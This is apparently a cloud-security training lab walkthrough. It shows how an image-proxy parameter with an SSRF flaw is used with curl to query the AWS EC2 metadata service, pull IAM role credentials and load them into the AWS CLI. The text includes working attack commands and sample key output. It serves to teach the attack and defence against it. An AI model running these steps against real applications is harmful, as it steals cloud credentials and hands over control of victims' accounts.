Server Side Request Forgery (SSRF) vulnerabilities may enable an attacker to read files on the remote web server and/or send network requests via the web application.

If the remote web application and server is located within a remote network, network requests may access information systems and services which are normally protected from being accessed remotely.

Identifying SSRF Vulnerabilities

SSRF vulnerabilities are commonly identified by HTTP endpoints that allow URL inputs within the query string, for example let's look at the source code for the "Salmantha's Web Portfolio" web application located on TCP port 8080 on the private EC2 instance.

We can browse to the website via a URL similar to this:

```
http://test.lizardblue.com:8080/
```

Once the page has loaded within Chrome, right-click the webpage and click "View Source" and now you can see all of the HTML being sent for our browser to render.

The source code of the web application should look similar to this:

```
<!DOCTYPE html>
<html>

<head>
<title>Salmantha's Web Portfolio</title>
<link href='/styles.css' rel='stylesheet' type='text/css'>
</head>

<body>
<main>
<h1>Salamantha's E-Portfolio</h1>
<img class='profile-image' src="/extimage?p=http%3A%2F%2Fcdn2.lizardblue.com.s3.amazonaws.com%2Fsalamander.jpg" />
<p class="intro">
Hi I'm Salamantha!
</p>
<div class="section skills">
<h3 class="title">Skills</h3>
<ul class="skill-list">
<li>befriending bugs</li>
<li>crawling around on the ground</li>
<li>sticking my tongue out</li>
</ul>
</div>
</main>
<img class="background" src='/background.jpg'>
</body>
</html>
```


We can see in the middle of the source code that a URI (e.g. "/extimage") is referencing a remote image file vi a parameter (e.g. "p") within the image tag:

```
<img class='profile-image' src="/extimage?p=http%3A%2F%2Fcdn2.lizardblue.com.s3.amazonaws.com%2Fsalamander.jpg" />
```

The input to the parameter that is being passed into remote web application is that of another remote URL:

```
http%3A%2F%2Fcdn2.lizardblue.com.s3.amazonaws.com%2Fsalamander.jpg
```

Metadata Service via SSRF

Many cloud services provide a REST API where Virtual Machine services can query to easily obtain information from the control plane.

In AWS, EC2 instances can query a REST API located at http://169.254.169.254/ where configuration data and authentication keys may be found.

If we change this parameter to that of URL of the Metadata Service, we can attempt to use the SSRF vulnerability to query information

that should only be available via the remote metadata service API:

```
ubuntu:~$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254
1.0
2007-01-19
2007-03-01
...
```

The metadata gives us a list of times we can choose from to see certain points in time. We don't care about this usually so let's just append /latest to the end of our URL to see the latest results. You should now see all the data from the latest point in time

```
ubuntu:~$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest
dynamic
meta-data
user-data
```

We can now continue appending these paths to the query parameter to continue searching through the metadata service in order to explore all of it's data, for example:

```
$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/

$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/instance-id/

$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/iam/

$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/iam/info/

$ curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/iam/security-credentials/

... and we should see a string similar to...

awstrainingstack001-bluelizardPrivEC2Role-1NGPFVBZEVBBF

... or for the internal EC2 instance...

BlueLizardStack4-bluelizardEC2Role-1NGPFVBZEVBBF
```


You want to take the output from the last command above and append it to the next "curl" request, for example the above command may return a result similar to the following...

```
root@ip-10-0-1-243:~# curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/iam/security-credentials/
awstrainingstack001-bluelizardPrivEC2Role-1NGPFVBZEVBBFroot@ip-10-0-1-243:~#
```

So in the above case, we want to take the string returned before the "root@ip-10-0-1-243:~#" prompt (e.g. awstrainingstack001-bluelizardPrivEC2Role-1NGPFVBZEVBBF) and use it with the next request...

```
root@ip-10-0-1-243:~# curl -G http://test.lizardblue.com:8080/extimage?p=http://169.254.169.254/latest/meta-data/iam/security-credentials/awstrainingstack001-bluelizardPrivEC2Role-1NGPFVBZEVBBF
{
"Code" : "Success",
"LastUpdated" : "2019-08-05T19:48:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA44HPE4QSWEMIJMYM",
"SecretAccessKey" : "WHt4+nPm/IciYIO3oCB605vJvQiTUAIzmU+YL/74",
"Token" : "AgoJb3JpZ2luX2VjEKz...wfQ=",
"Expiration" : "2019-08-06T02:11:33Z"
}root@ip-10-0-1-243:~#
```

Exercise

The Plan:

- Leverage the SSRF vulnerability we discovered to collect secrets from the AWS EC2 metadata service.

Targets:

- EC2 Public: test.lizardblue.com (18.223.82.226) http://test.lizardblue.com:8080/

-EC2 Private: bluelizardPrivateInstance (10.0.2.x) http://10.0.2.x:8080/

Leveraging Secrets

Once we have found some AWS secrets, the easiest way to leverage them is via the aws cli tool.

Configuring Additional Profiles

The AWS CLI supports using multiple profiles, which can be specified to make calls against different accounts, or with the permissions of different users & roles from a single host.

Inspect ~/.aws/credentials to see your existing profile:

```
cat ~/.aws/credentials
```

We should see output similar to:

```
root@ip-10-0-1-215:/shared# cat ~/.aws/credentials
[default]
aws_access_key_id = AKIA52F...
aws_secret_access_key = O3N5Ga...
```

You can create other profiles by adding another profile stanza.

Now that we have an access key, we next need to configure the aws cli to use them.

When it asks for your Access Key ID and your Access Key they are inside the Access Key file you downloaded previously.

```
root@ip-10-0-1-215:/shared# aws configure --profile vulnssrf
AWS Access Key ID [None]: ASIA...
AWS Secret Access Key [None]: vgw...
Default region name [None]: us-east-2
Default output format [None]: json
```

Our credentials file should now look like this

```
root@ip-10-0-1-215:/shared# cat ~/.aws/credentials
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = O3N5...

[vulnssrf]
aws_access_key_id = ASIA...
aws_secret_access_key = vgw...
```

Temporary credentials can also be entered by specifying the session token. We can then further configure our access via modifying then configuration file to add the "aws_session_token" setting to the "vulnlambda" profile.

```
vi ~/.aws/credentials
G
o
(scroll down under the [vulnssrf] section and create a new field called aws_session_token and assign it to the session token you found)
:wq
```

Your aws cli credentials file should now look similar to this:

```
[default]
aws_access_key_id = AKIA52F...
aws_secret_access_key = O3N5Ga...

[vulnssrf]
aws_access_key_id = ASIA52F...
aws_secret_access_key = v1Bg83...
aws_session_token = N5bnW...
```

Profiles can be used by using --profile anywhere in the AWS cli command.

Ensure that the credentials are working, and get context on your current user is frequently done via using the following command:

```
root@ip-10-0-1-215:/shared~# aws sts get-caller-identity --profile vulnssrf
{
"Account": "885264802853",
"UserId": "AROAJVDDDO52VZCJBNIKI:i-0e029114b9e80ad76",
"Arn": "arn:aws:sts::885264802853:assumed-role/BlueLizardStack4-bluelizardEC2Role-TPC3SAEGNF0N/i-0e029114b9e80ad76"
}
```

Exercise

The Plan:

```
- Configure the aws cli to use the secret we collected via the vulnerable web application with an additional profile

-- Run "WhoAmI" to collect the Account ID associated with the credentials


Targets:

- EC2 Public: test.lizardblue.com ( 18.223.82.226 ) http://test.lizardblue.com:8080/

-EC2 Private: bluelizardPrivateInstance ( 10.0.2.x ) http://10.0.2.x:8080/
```


References:

Check out the following references for more information:

- SSRF in Exchange leads to ROOT access in all instances - https://hackerone.com/reports/341876